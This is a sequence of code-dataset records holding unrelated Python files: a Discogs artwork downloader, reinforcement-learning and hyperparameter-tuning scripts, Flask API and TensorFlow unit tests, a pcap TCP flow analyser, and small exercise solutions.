DiskError if an image could not be \n saved to disk.\n \n Arguments:\n artist -- the artist\n album -- the album by the artist\n \n Keyword arguments:\n year -- the release year of the album (default None)\n \"\"\"\n time_begin = time.time()\n releases = _fetch_discogs_releases(artist, album, year=year)\n images = _fetch_discogs_image_resources(random.choice(releases))\n source = random.choice(images).url\n target = _create_target(source, artist, album, year=year)\n target = _save_image_to_disk(source, target)\n time_end = time.time()\n logger.debug(\"retrieving image took {:.3g} seconds\"\n \"\".format(time_end - time_begin))\n return target\n\n\ndef get_cache(artist, album, year=None, alt=get_random):\n \"\"\"Return the path to an image on disk.\n \n Return the path to an image in artwork.directory if one exists. If\n no image is found on disk, call an alternative function using the \n same parameters to download an image from Discogs and return its \n path.\n \n Raises ReleaseNotFoundError if no Discogs releases could be found \n for the given parameters. Raises ImageNotFoundError if no image \n could be found in the used release. Raises ResourceError if an \n error occurs while opening a URL, eg. when retrieving a list of \n Discogs releases or downloading an image. Raises DiskError if an \n image could not be saved to disk.\n \n Arguments:\n artist -- the artist\n album -- the album by the artist\n \n Keyword arguments:\n year -- the release year of the album (default None)\n alt -- the alternative function (default artwork.get_random)\n \"\"\"\n return (_file_in_cache(artist, album, year=year) or\n alt(artist, album, year=year))\n\n\ndef _create_filename(artist, album, year=None):\n \"\"\"Return a string that can be used as filename (without extension)\n for an artwork image.\n \n Arguments:\n artist -- the artist\n album -- the album\n \n Keyword arguments:\n year -- the release year of the album (default None)\n \"\"\"\n artist = artist.replace('/', '-')\n album = album.replace('/', '-')\n if year:\n return '{} - {} - {}'.format(artist, year, album)\n else:\n return '{} - {}'.format(artist, album)\n\n\ndef _create_target(source, artist, album, year=None):\n \"\"\"Return a target path to save artwork.\n \n The target path is the concatenation of directory (if set) and a \n filename with the same extension as the source URL. The filename \n is created with _create_filename.\n \n Arguments:\n source -- the URL to an image\n artist -- the artist\n album -- the album\n \n Keyword arguments:\n year -- the release year of the album (default None)\n \"\"\"\n global directory\n target = '{}.{}'.format(_create_filename(artist, album, year=year), \n source.split('.')[-1])\n if directory:\n target = os.path.join(directory, target)\n else:\n target = os.path.join(target)\n return target\n\n\ndef _file_candidates(artist, album, year=None):\n \"\"\"Return a list of file paths that might point to a cached image.\n \n Each file path is a concatenation of directory (if set), \n _create_filename and an extension in _candidate_exts. Use these to \n check if a cached image exists.\n \n Arguments:\n artist -- the artist\n album -- the album\n \n Keyword arguments:\n year -- the release year of the album (default None)\n \"\"\"\n global directory\n filename = _create_filename(artist, album, year=year)\n candidates = [os.path.join('{}.{}'.format(filename, ext)) \n for ext in _candidate_exts]\n if directory:\n directory = os.path.expanduser(directory)\n candidates = [os.path.join(directory, fn) for fn in candidates]\n return candidates\n\n\ndef _file_in_cache(artist, album, year=None):\n \"\"\"Return the file path to a cached image if it exists, otherwise \n return None.\n \n Arguments:\n artist -- the artist\n album -- the album\n \n Keyword arguments:\n year -- the release year of the album (default None)\n \"\"\"\n candidates = _file_candidates(artist, album, year=year)\n for candidate in candidates:\n if os.path.isfile(candidate):\n logger.debug(\"artwork for {album} by {artist} found on disk\"\n \"\".format(artist=artist, album=album))\n return candidate\n return None\n\n\ndef _fetch_discogs_releases(artist, album, year=None, master=True):\n \"\"\"Return a list of URLs to a Discogs release.\n \n Raises ReleaseNotFoundError if no releases are found.\n \n Arguments:\n artist -- the artist\n album -- the album\n \n Keyword arguments:\n year -- the release year of the album (default None)\n master -- search Discogs for type 'master' rather than type \n 'release' (default True)\n \"\"\"\n args = {\n 'type': 'master' if master else 'release',\n 'artist': artist, \n 'release_title': album,\n }\n if year: args['year'] = year \n url = (_discogs_api_url, _discogs_api_search, '?', \n urllib.parse.urlencode(args))\n response = _openurl(''.join(url), _discogs_api_headers)\n result = json.loads(str(response.read(), 'utf-8'))\n response.close()\n releases = [x['resource_url'] for x in result['results']]\n if not releases:\n message = (\"no results for {album} by {artist}\"\n \"\".format(artist=artist, album=album))\n logger.error(message)\n raise ReleaseNotFoundError(message)\n logger.debug(\"{n} releases found for {album} by {artist}\"\n .format(n=len(releases), artist=artist, album=album))\n return releases\n\n\ndef _fetch_discogs_image_resources(release):\n \"\"\"Return a list of images found in release.\n \n Each image is represented as a namedtuple _Image. If images of \n type 'primary' are found, return these. If no primary images are \n found, return the images of type 'secondary'. \n \n Raises ImageNotFoundError if no images are found.\n \n Arguments:\n release -- a URL to a Discogs release\n \"\"\"\n response = _openurl(release, headers=_discogs_api_headers)\n release_ = json.loads(str(response.read(), 'utf-8'))\n response.close()\n resources, secondaries = list(), list()\n try:\n images = release_['images']\n for image in images:\n if image['type'] == 'primary':\n resources.append(\n _Image(url=image['resource_url'], height=image['height'],\n width=image['width'])\n )\n else:\n secondaries.append(\n _Image(url=image['resource_url'], height=image['height'],\n width=image['width'])\n )\n logger.debug(\n \"{np} primary images found in release {release} and {ns} \"\n \"secondary images\".format(np=len(resources), ns=len(secondaries),\n release=release.split('/')[-1])\n )\n except KeyError:\n pass\n if not resources and secondaries:\n resources = secondaries\n if not resources:\n message = (\"no images found in release {release}\"\n \"\".format(release=release.split('/')[-1]))\n logger.error(message)\n raise ImageNotFoundError(message)\n return resources\n\n\ndef _save_image_to_disk(resource, target):\n \"\"\"Save an image to disk.\n \n If the directory in path doesn't exist, try to create it. Raises \n DiskError if the directory creation fails or the image could not be\n saved to disk.\n \n Arguments:\n resource -- the URL to the image\n target -- the target path (filename with extension)\n \"\"\"\n global directory\n target = os.path.expanduser(target)\n dirname = os.path.dirname(target)\n if directory and not os.path.isdir(dirname):\n try:\n os.makedirs(dirname)\n logger.debug(\"created directory {}\".format(dirname))\n except OSError as e:\n message = \"cannot create directory: {}\".format(e.strerror)\n logger.error(message)\n raise DiskError(message)\n ### Prevent 401 Unauthorized when not using OAuth.\n resource = resource.replace('api.discogs.com', 's.pixogs.com')\n ###\n image = _openurl(resource, headers=_discogs_api_headers)\n try:\n with open(target, 'wb') as f:\n f.write(image.read())\n logger.debug(\"artwork saved as {}\".format(target))\n except OSError as e:\n message = \"saving artwork failed: {}\".format(e.strerror)\n logger.error(message)\n raise DiskError(message)\n return target\n\n\ndef _openurl(url, headers={}):\n \"\"\"Open a URL (HTTP GET) and return its response.\n \n For HTTP URLs this function returns a http.client.HTTPResponse \n object. For file URLs (eg. an image) this function returns the \n bytes.\n \n Raises ResourceError on errors.\n \n Arguments:\n url -- the URL to open\n \n Keyword arguments:\n headers -- the headers for the HTTP request as a dict (default {})\n \"\"\"\n try:\n time_begin = time.time()\n request = urllib.request.Request(url, headers=headers)\n response = urllib.request.urlopen(request)\n time_end = time.time()\n logger.debug(\"opening {} took {:.3g} seconds\"\n \"\".format(url, time_end - time_begin))\n except urllib.error.HTTPError as e:\n time_end = time.time()\n logger.debug(\"opening {} failed, took {:.3g} seconds\"\n \"\".format(url, time_end - time_begin))\n error = \"HTTP {} {}\".format(e.code, e.reason)\n logger.error(error)\n raise ResourceError(error)\n except urllib.error.URLError as e:\n time_end = time.time()\n logger.debug(\"opening {} failed, took {:.3g} seconds\"\n \"\".format(url, time_end - time_begin))\n logger.error(e.reason)\n raise ResourceError(e.reason)\n except OSError as e:\n time_end = time.time()\n logger.debug(\"opening {} failed, took {:.3g} seconds\"\n \"\".format(url, time_end - time_begin))\n logger.error(e.strerror)\n raise ResourceError(e.strerror)\n return response\n\n\nfrom threading import Thread\n\nclass ArtworkWorker(Thread):\n \"\"\"Worker to retrieve a Discogs image for a given artist and album.\n \n Notifies its listeners upon completion. \n\n A listener should implement two callbacks: \n - artwork_found(filename)\n - artwork_not_found()\n \"\"\"\n \n def __init__(self, artist, album, year=None):\n super(ArtworkWorker, self).__init__()\n \n self.artist = artist\n self.album = album\n self.year = year\n \n self.name = 'Artwork'\n self.listeners = list()\n \n self.retrieve_function = get_random\n self.max_retries = 5\n self._try = 0\n \n def add_listener(self, listener):\n self.listeners.append(listener)\n \n def remove_listener(self, listener):\n self.listeners.remove(listener)\n \n def run(self):\n self._get_artwork()\n \n def _get_artwork(self):\n try:\n filename = get_cache(self.artist, self.album, year=self.year, \n alt=self.retrieve_function)\n except ImageNotFoundError as e:\n if (self.retrieve_function == get_random and \n self._try <= self.max_retries):\n self._try += 1\n self._get_artwork()\n else:\n self.notify_failure()\n except ArtworkError as e:\n self.notify_failure()\n else:\n self.notify_success(filename)\n \n def notify_failure(self):\n for listener in self.listeners:\n listener.artwork_not_found()\n \n def notify_success(self, filename):\n for listener in self.listeners:\n listener.artwork_found(filename)\n\n","repo_name":"tassche/discogs-artwork","sub_path":"artwork.py","file_name":"artwork.py","file_ext":"py","file_size_in_byte":16410,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"22030968775","text":"import torch\n\nfrom pyRDDLGym import RDDLEnv\nfrom policy_learning.DQN.agents import DQN_Agent\nfrom utils.dqn_utils import *\n\nimport numpy as np\n\n\nparams = Params(\"./params/test_policy_params_reservoir.json\")\nprint('-----------------------------')\n\n\nparams.domain_path = params.rddl_path + 'domain.rddl'\n\nparams.instance_path = params.rddl_path + \"instance_{}_target.rddl\".format(str(params.num_agent)+params.agent_name)\nparams.value_xadd_path = {\"v_source\":params.load_xadd_path+\"{}/{}_step/v_source.json\".format(str(params.num_agent)+params.agent_name, params.num_xadd_steps), \n \"v_target\":params.load_xadd_path+\"{}/{}_step/v_target.json\".format(str(params.num_agent)+params.agent_name, params.num_xadd_steps),\n \"v_diff\":params.load_xadd_path+\"{}/{}_step/v_diff.json\".format(str(params.num_agent)+params.agent_name, params.num_xadd_steps),\n }\nparams.q_xadd_path = {\"q_source\":params.load_xadd_path+\"{}/{}_step/q_source.json\".format(str(params.num_agent)+params.agent_name, params.num_xadd_steps), \n \"q_target\":params.load_xadd_path+\"{}/{}_step/q_target.json\".format(str(params.num_agent)+params.agent_name, params.num_xadd_steps),\n \"q_diff\":params.load_xadd_path+\"{}/{}_step/q_diff.json\".format(str(params.num_agent)+params.agent_name, params.num_xadd_steps),\n }\n\nparams.value_cache_path = {\"v_source\":params.load_cache_path+\"{}/{}_step/v_source.json\".format(str(params.num_agent)+params.agent_name, params.num_xadd_steps), \n \"v_target\":params.load_cache_path+\"{}/{}_step/v_target.json\".format(str(params.num_agent)+params.agent_name, params.num_xadd_steps),\n \"v_diff\":params.load_cache_path+\"{}/{}_step/v_diff.json\".format(str(params.num_agent)+params.agent_name, params.num_xadd_steps),\n }\nparams.q_cache_path = {\"q_source\":params.load_cache_path+\"{}/{}_step/q_source.json\".format(str(params.num_agent)+params.agent_name, params.num_xadd_steps), \n \"q_target\":params.load_cache_path+\"{}/{}_step/q_target.json\".format(str(params.num_agent)+params.agent_name, params.num_xadd_steps),\n \"q_diff\":params.load_cache_path+\"{}/{}_step/q_diff.json\".format(str(params.num_agent)+params.agent_name, params.num_xadd_steps),\n }\n\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\nDOMAIN_PATH = params.domain_path\nINSTANCE_PATH = params.instance_path\n\nmyEnv = RDDLEnv.RDDLEnv(domain=DOMAIN_PATH, instance=INSTANCE_PATH)\nmodel, context = get_xadd_model_from_file(f_domain=DOMAIN_PATH, f_instance=INSTANCE_PATH)\n\n\nagent = DQN_Agent(env=myEnv, model=model, context=context, \n value_xadd_path=params.value_xadd_path, q_xadd_path=params.q_xadd_path,\n value_cache_path=params.value_cache_path, q_cache_path=params.q_cache_path, \n use_cache=params.use_cache)\n\n\ndef value_cache_to_array(cache_dict, dim=(100)):\n value_dict = {}\n for v_name, v_dict in cache_dict.items():\n value_array = np.zeros(dim)\n for k,v in v_dict.items():\n index_tuple = tuple([int(i)-1 for i in list(k[1:-1].split(',')) if i != ''])\n value_array[index_tuple] = float(v)\n value_dict[v_name] = value_array\n return value_dict\n\ndef q_cache_to_array(cache_dict, dim=(100)):\n q_dict = {}\n for q_name, q_lst in cache_dict.items():\n new_q_lst = []\n for i in q_lst:\n action = i[0]\n value_array = np.zeros(dim)\n for k,v in i[1].items():\n index_tuple = tuple([int(i)-1 for i in list(k[1:-1].split(',')) if i != ''])\n value_array[index_tuple] = float(v)\n new_q_lst.append([action, value_array])\n q_dict[q_name] = new_q_lst\n return q_dict\n\ndef find_best_action(q_lst):\n print(\"----Action Codes:\")\n for i,a in enumerate(q_lst): \n print(i, a[0])\n states_len = len(q_lst[0][1])\n policy_lst = []\n for i in range(states_len):\n v_lst = []\n for j in q_lst:\n v_lst.append(j[1][i])\n policy_lst.append(list(np.where(v_lst == np.amax(v_lst))[0]))\n return policy_lst\n \n\n\nvalue_dict = value_cache_to_array(agent.value_cache)\nq_dict = q_cache_to_array(agent.q_cache)\n\n\nv_source_lst = value_dict[\"v_source\"]\nv_target_lst = value_dict[\"v_target\"]\nq_target_lst = q_dict['q_target']\nq_source_lst = q_dict['q_source']\n\npolicy_q_source = find_best_action(q_source_lst)\npolicy_q_target = find_best_action(q_target_lst)\n\nfor i in range(len(policy_q_source)):\n print(i, policy_q_source[i], policy_q_target[i], v_source_lst[i], v_target_lst[i])\n \n\n# for i in range(len(cache_array_v_target)):\n# print(i, round(cache_array_v_source[i],2), round(cache_array_v_target[i],2))\n\n\n\n\n ","repo_name":"jackliuto/model_diff_XADD","sub_path":"test_policy.py","file_name":"test_policy.py","file_ext":"py","file_size_in_byte":4853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71844484567","text":"#usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 4 13:58:48 2019\n\n@author: paskali\n\"\"\"\nimport os\nimport tensorflow as tf\nfrom data import DataManager\nfrom augment import augment_generator_probability\nfrom models.hyper_vnet import VnetHyperModel\nfrom tensorflow.keras.callbacks import EarlyStopping\nfrom tensorflow.keras.backend import clear_session\nfrom kerastuner.tuners import BayesianOptimization\n\n# Setting dynamically grow memory for GPU\ngpus = tf.config.experimental.list_physical_devices('GPU')\nif gpus:\n try:\n # Currently, memory growth needs to be the same across GPUs\n for gpu in gpus:\n tf.config.experimental.set_memory_growth(gpu, True)\n logical_gpus = tf.config.experimental.list_logical_devices('GPU')\n print(len(gpus), \"Physical GPUs,\", len(logical_gpus), \"Logical GPUs\")\n except RuntimeError as e:\n # Memory growth must be set before GPUs have been initialized\n print(e)\n\n# Force Tensorflow to use CPU\ndef force_CPU():\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"\"\n \nclass MyTuner(BayesianOptimization):\n \"\"\"\n A custom tuner based on BayesianOptimization tuner that introduce also the\n augmentation parameters as hyperparameters.\n \"\"\"\n \n def run_trial(self, trial, x, *args, **kwargs):\n hp = trial.hyperparameters \n train_ds = augment_generator_probability(x, \n factor=hp.Fixed('factor', 15),\n rotate_p=hp.Float('rotate_prob', 0.1, 1., default=0.5),\n deform_p=hp.Float('deform_prob', 0.1, 1., default=0.5), \n filters_p=hp.Float('filters_prob', 0.1, 1., default=0.5),\n mean_filter_p=0.33, \n median_filter_p=0.33, \n gauss_filter_p=0.33,\n epochs=150)\n \n super(MyTuner, self).run_trial(trial, train_ds, *args, **kwargs)\n\ndef tune(image_size, epochs, fact = 15, train_folder='data/train', \n val_folder='data/val', force_cpu=False):\n \"\"\"\n Tune the parameters and print the best 10 models.\n\n Parameters\n ----------\n image_size : tuple\n The size of the whole image, or the image from which the patches will\n be extracted.\n fact : int, optional\n The factor to increase the sample size.\n train_folder : str, optional\n path to train folder, with image and mask subfolders. The default is 'data/train'.\n val_folder : str, optional\n path to val folder, with image and mask subfolders. The default is 'data/val'.\n force_cpu : bool, optional\n A switch to enable CPU training. Not recommended, because GPU training\n is faster. The default is False.\n \"\"\"\n\n if force_cpu:\n force_CPU()\n \n data_manager = DataManager(train_folder, val_folder, image_shape=image_size)\n \n train_size = data_manager.get_train_size() * fact\n val_size = data_manager.get_val_size()\n train_data = data_manager.train_generator()\n val_data = data_manager.val_generator()\n \n \n hypermodel = VnetHyperModel(input_shape=data_manager.get_input_size(), num_classes=1)\n\n\n model_checkpoint = EarlyStopping(monitor=\"val_loss\",\n min_delta=0,\n patience=3,\n verbose=1,\n mode=\"auto\",\n baseline=None,\n restore_best_weights=True)\n \n tuner = MyTuner(\n hypermodel=hypermodel,\n objective=\"val_accuracy\",\n max_trials=50,\n directory=\"optimization\",\n project_name=\"second_opti\")\n \n tuner.search_space_summary()\n\n tuner.search(x=train_data, validation_data=val_data, validation_steps=val_size,\n epochs=epochs, verbose=1, steps_per_epoch=train_size, callbacks=[model_checkpoint])\n\n tuner.results_summary()\n \n clear_session()\n \nif __name__ == '__main__':\n tune(image_size=(128,128,128), epochs=150)\n","repo_name":"fpaskali/trus-segmentation","sub_path":"src/hyper_param_optimization.py","file_name":"hyper_param_optimization.py","file_ext":"py","file_size_in_byte":4339,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"38580437884","text":"import pytest\nfrom flask.testing import FlaskClient\n\n\n@pytest.mark.usefixtures(\"app\")\nclass TestMedicationGet:\n def test_medication_empty_get_returns_array(self, client: FlaskClient) -> None:\n response = client.get(\"/dhos/v1/medication\")\n assert response.status_code == 200\n assert response.json == []\n\n def test_return_all_medications(\n self, client: FlaskClient, med_uuid: str, med_uuid_2: str\n ) -> None:\n response = client.get(f\"/dhos/v1/medication\")\n assert response.status_code == 200\n assert response.json is not None\n assert len(response.json) == 2\n assert {med_uuid, med_uuid_2} == {m[\"uuid\"] for m in response.json}\n\n @pytest.mark.parametrize(\n \"tag,num_expected\", [(\"nosuchtag\", 0), (\"tag1\", 1), (\"tag2\", 1), (\"gdm\", 2)]\n )\n def test_return_filtered_medications(\n self,\n client: FlaskClient,\n med_uuid: str,\n med_uuid_2: str,\n med_with_tags_uuid: str,\n tag: str,\n num_expected: int,\n ) -> None:\n response = client.get(f\"/dhos/v1/medication?tag={tag}\")\n assert response.status_code == 200\n assert response.json is not None\n assert len(response.json) == num_expected\n\n def test_return_one_medication_with_correct_id(\n self, client: FlaskClient, med_uuid: str\n ) -> None:\n response = client.get(f\"/dhos/v1/medication/{med_uuid}\")\n assert response.status_code == 200\n assert response.json is not None\n assert response.json[\"uuid\"] == med_uuid\n\n def test_medication_invalid_get(self, client: FlaskClient) -> None:\n response = client.get(f\"/dhos/v1/medication/not_real\")\n assert response == 404\n\n def test_medication_get_no_uuid(self, client: FlaskClient) -> None:\n response = client.get(f\"/dhos/v1/medication/\")\n assert response == 404\n","repo_name":"sensynehealth/polaris-medications-api","sub_path":"tests/routes/test_medication_get.py","file_name":"test_medication_get.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36896258562","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\n\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import sparse_tensor\nfrom tensorflow.python.framework import test_util\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.ops import gradient_checker\nfrom tensorflow.python.ops import sparse_ops\nimport tensorflow.python.ops.sparse_grad # pylint: disable=unused-import\nfrom tensorflow.python.platform import test\n\n\nclass SparseReorderTest(test.TestCase):\n\n def _SparseTensorPlaceholder(self):\n return sparse_tensor.SparseTensor(\n array_ops.placeholder(dtypes.int64),\n array_ops.placeholder(dtypes.float64),\n array_ops.placeholder(dtypes.int64))\n\n def _SparseTensorValue_5x6(self, permutation):\n ind = np.array([[0, 0], [1, 0], [1, 3], [1, 4], [3, 2],\n [3, 3]]).astype(np.int64)\n val = np.array([0, 10, 13, 14, 32, 33]).astype(np.float64)\n\n ind = ind[permutation]\n val = val[permutation]\n\n shape = np.array([5, 6]).astype(np.int64)\n return sparse_tensor.SparseTensorValue(ind, val, shape)\n\n def testStaticShapeInfoPreserved(self):\n sp_input = sparse_tensor.SparseTensor.from_value(\n self._SparseTensorValue_5x6(np.arange(6)))\n self.assertAllEqual((5, 6), sp_input.get_shape())\n sp_output = sparse_ops.sparse_reorder(sp_input)\n self.assertAllEqual((5, 6), sp_output.get_shape())\n\n def testAlreadyInOrder(self):\n with self.session(use_gpu=False) as sess:\n input_val = self._SparseTensorValue_5x6(np.arange(6))\n sp_output = sparse_ops.sparse_reorder(input_val)\n\n output_val = self.evaluate(sp_output)\n self.assertAllEqual(output_val.indices, input_val.indices)\n self.assertAllEqual(output_val.values, input_val.values)\n self.assertAllEqual(output_val.dense_shape, input_val.dense_shape)\n\n @test_util.run_deprecated_v1\n def testFeedAlreadyInOrder(self):\n with self.session(use_gpu=False) as sess:\n sp_input = self._SparseTensorPlaceholder()\n input_val = self._SparseTensorValue_5x6(np.arange(6))\n sp_output = sparse_ops.sparse_reorder(sp_input)\n\n output_val = sess.run(sp_output, {sp_input: input_val})\n self.assertAllEqual(output_val.indices, input_val.indices)\n self.assertAllEqual(output_val.values, input_val.values)\n self.assertAllEqual(output_val.dense_shape, input_val.dense_shape)\n\n def testOutOfOrder(self):\n expected_output_val = self._SparseTensorValue_5x6(np.arange(6))\n with self.session(use_gpu=False) as sess:\n for _ in range(5): # To test various random permutations\n input_val = self._SparseTensorValue_5x6(np.random.permutation(6))\n sp_output = sparse_ops.sparse_reorder(input_val)\n\n output_val = self.evaluate(sp_output)\n self.assertAllEqual(output_val.indices, expected_output_val.indices)\n self.assertAllEqual(output_val.values, expected_output_val.values)\n self.assertAllEqual(output_val.dense_shape,\n expected_output_val.dense_shape)\n\n @test_util.run_deprecated_v1\n def testFeedOutOfOrder(self):\n expected_output_val = self._SparseTensorValue_5x6(np.arange(6))\n with self.session(use_gpu=False) as sess:\n for _ in range(5): # To test various random permutations\n sp_input = self._SparseTensorPlaceholder()\n input_val = self._SparseTensorValue_5x6(np.random.permutation(6))\n sp_output = sparse_ops.sparse_reorder(sp_input)\n\n output_val = sess.run(sp_output, {sp_input: input_val})\n self.assertAllEqual(output_val.indices, expected_output_val.indices)\n self.assertAllEqual(output_val.values, expected_output_val.values)\n self.assertAllEqual(output_val.dense_shape,\n expected_output_val.dense_shape)\n\n @test_util.run_deprecated_v1\n def testGradients(self):\n with self.session(use_gpu=False):\n for _ in range(5): # To test various random permutations\n input_val = self._SparseTensorValue_5x6(np.random.permutation(6))\n sp_input = sparse_tensor.SparseTensor(input_val.indices,\n input_val.values,\n input_val.dense_shape)\n sp_output = sparse_ops.sparse_reorder(sp_input)\n\n err = gradient_checker.compute_gradient_error(\n sp_input.values,\n input_val.values.shape,\n sp_output.values,\n input_val.values.shape,\n x_init_value=input_val.values)\n self.assertLess(err, 1e-11)\n\n\nif __name__ == \"__main__\":\n test.main()\n","repo_name":"DeepRec-AI/DeepRec","sub_path":"tensorflow/python/kernel_tests/sparse_reorder_op_test.py","file_name":"sparse_reorder_op_test.py","file_ext":"py","file_size_in_byte":4668,"program_lang":"python","lang":"en","doc_type":"code","stars":895,"dataset":"github-code","pt":"31"} +{"seq_id":"21749169759","text":"import dpkt\nimport socket\n\nsenderip = \"130.245.145.12\" #assignnent said we can hardcode the ip addresses\nreceiverip = \"128.208.2.198\"\nsrcports = [] # needed to store source and destination ports\ndstports = []\n\ntotalFlows = 0 # measure flow data\nflowbytes1=0 \nflowbytes2=0 \nflowbytes3=0 \ntimesFlow1 = []\ntimesFlow2 = []\ntimesFlow3 = []\n\ntransactionCounter1 = 0 #used for printing first 2 transactions after connection for each\ntransactionCounter2 = 0\ntransactionCounter3 = 0\ndisplay1 = 0 #used for printing part a \ndisplay2 = 0\ndisplay3 = 0\n\nsentOnce= []\nsentTwice= []\nsentThrice =[]\n\nprint(\"Part A:\")\nf = open('assignment2.pcap', 'rb') #open file and read pcap\npcap = dpkt.pcap.Reader(f)\nfor ts, buf in pcap: #look into every packet in pcap\n eth = dpkt.ethernet.Ethernet(buf) #ethernet frame\n if (eth.data.p != dpkt.ip.IP_PROTO_TCP): #only interested on TCP\n continue\n ip = eth.data #get data from ethernet frame\n packetSrc = socket.inet_ntoa(ip.src) #convert ip address\n packetDst = socket.inet_ntoa(ip.dst)\n tcp = ip.data \n \n if(packetSrc == senderip and packetDst == receiverip):\n if(tcp.flags == 0x02): # flow starts with ACK\n #print(\"Flags:\" + str(tcp.flags))\n totalFlows +=1\n if(tcp.sport not in srcports): # get source ports\n srcports.append(tcp.sport)\n else:\n continue\n if(tcp.dport not in dstports): # get destination ports\n dstports.append(tcp.dport)\n else:\n continue \n else: \n pass\n \n#Output gives:\n#[43498, 43500, 43502] for ports\n\n if(tcp.sport == 43498 and tcp.flags == 0x10): #found first port and looking at acks\n while (display1 <1):\n print(\"-------------------------------------- \")\n print(\"Source port: \" + str(tcp.sport))\n print(\"Source IP Address: \" + str(packetSrc))\n print(\"Destination Port \" + str(tcp.dport)) \n print(\"Destination IP Adddress \" + str(packetDst))\n print(\" \")\n display1 +=1\n while(transactionCounter1 >=0 and transactionCounter1 <=1):\n print(\"Transaction: \")\n print(\"Sequence number: \" + str(tcp.seq))\n print(\"Ack Number: \" + str(tcp.ack))\n print(\"Window Size: \" + str(tcp.win))\n transactionCounter1 +=1\n print (\" \")\n\n\n if(tcp.sport == 43500 and tcp.flags == 0x10): #found second port and looking at acks\n while (display2 <1):\n print(\"-------------------------------------- \")\n print(\"Source port: \" + str(tcp.sport))\n print(\"Source IP Address: \" + str(packetSrc))\n print(\"Destination Port \" + str(tcp.dport)) \n print(\"Destination IP Adddress \" + str(packetDst))\n print(\" \")\n display2 +=1\n if(transactionCounter2 >=0 and transactionCounter2 <=1):\n print(\"Transaction: \")\n print(\"Sequence number: \" + str(tcp.seq))\n print(\"Ack Number: \" + str(tcp.ack))\n print(\"Window Size: \" + str(tcp.win))\n transactionCounter2 +=1\n print (\" \")\n \n\n \n\n if(tcp.sport == 43502 and tcp.flags == 0x10): #found third port and looking at acks\n while (display3 <1):\n print(\"-------------------------------------- \")\n print(\"Source port: \" + str(tcp.sport))\n print(\"Source IP Address: \" + str(packetSrc))\n print(\"Destination Port \" + str(tcp.dport)) \n print(\"Destination IP Adddress \" + str(packetDst))\n print(\" \")\n display3 +=1\n if(transactionCounter3 >=0 and transactionCounter3 <=1):\n print(\"Transaction: \")\n print(\"Sequence number: \" + str(tcp.seq))\n print(\"Ack Number: \" + str(tcp.ack))\n print(\"Window Size: \" + str(tcp.win))\n transactionCounter3 +=1 \n print(\" \") \n \n \n if(tcp.sport == 43498 or tcp.dport == 43498): #used to find throughput at the 3 ports\n flowbytes1 += int(eth.data.len)\n timesFlow1.append(ts)\n if(tcp.sport == 43500 or tcp.dport == 43500):\n flowbytes2 += int(eth.data.len)\n timesFlow2.append(ts)\n if(tcp.sport == 43502 or tcp.dport == 43502):\n flowbytes3 += int(eth.data.len)\n timesFlow3.append(ts)\n \n if(tcp.dport == 43498):\n sentOnce.append(tcp.ack)\n if(tcp.dport ==43500):\n sentTwice.append(tcp.ack)\n if(tcp.dport ==43502):\n sentThrice.append(tcp.ack)\n \n#Calculate RTT= time difference of packet first sent and first ack\nRTT1=(timesFlow1[1]-timesFlow1[0])\nRTT2=(timesFlow2[1]-timesFlow2[0])\nRTT3=(timesFlow3[1]-timesFlow3[0])\n\npackets1=0\npackets11=0\npackets111=0\ni =2\ni1=1\ni11=1\nsum = 0\nsum1 = 0\nsum11=0\n\nfor pk in timesFlow1: #congestion window for port 43498\n while (sum 2*RTT1):\n timeouts1 +=1 \n t1+=1\nfor pk in timesFlow2:\n if (timesFlow1[t2]- timesFlow1[t2-1] > 2*RTT2):\n timeouts2 +=1 \n t2+=1\nfor pk in timesFlow3:\n if (timesFlow1[t3]- timesFlow1[t3-1] > 2*RTT3):\n timeouts3 +=1 \n t3+=1\n\n\nprint(\"\\nNumber of retransmissions due to timeouts for Port 43498: \",timeouts1)\nprint(\"Number of retransmissions due to timeouts for Port 43500: \",timeouts2)\nprint(\"Number of retransmissions due to timesouts for Port 43502: \",timeouts3)\n\n ","repo_name":"angelli8201/Analysis-PCAP-TCP","sub_path":"analysis_pcap_tcp.py","file_name":"analysis_pcap_tcp.py","file_ext":"py","file_size_in_byte":8369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33049168426","text":"arq = input(\"Nome do arquivo: \")\n\nlis = []\n\ng = open(arq, \"r\")\n\nfor l in g:\n lis.append(list(l.strip().split(\" \")))\n\ng.close()\n\nlinhas = []\n\nfor i in range(int(lis[0][0])):\n linhas.append(list(\"1\" * int(lis[0][1])))\n\nfor j in range(1,int(lis[0][2])+1):\n linhas[int(lis[j][0])][int(lis[j][1])] = \"0\"\n \nfor k in linhas:\n for l in k:\n print(l, end=\" \")\n print()\n","repo_name":"gabrielrmgs/Python","sub_path":"q20.py","file_name":"q20.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6453143981","text":"# https://leetcode.com/problems/maximum-product-subarray/description/\n# tags: prefix sum\n\nclass Solution:\n def maxProduct(self, nums: List[int]) -> int:\n out = nums[0]\n \n forwards = 1\n backwards = 1\n for i in range(len(nums)):\n forwards *= nums[i]\n backwards *= nums[len(nums)-1 -i]\n out = max(out, forwards, backwards)\n if forwards == 0:\n forwards = 1\n if backwards == 0:\n backwards = 1\n \n return out","repo_name":"sangyeopjung/leetcode","sub_path":"arrays/prefixsum/MaximumProductSubarray.py","file_name":"MaximumProductSubarray.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34203673471","text":"'''\n\n\nStart time: 6:10pm Aug 2nd 2020\nBreak: 7:50 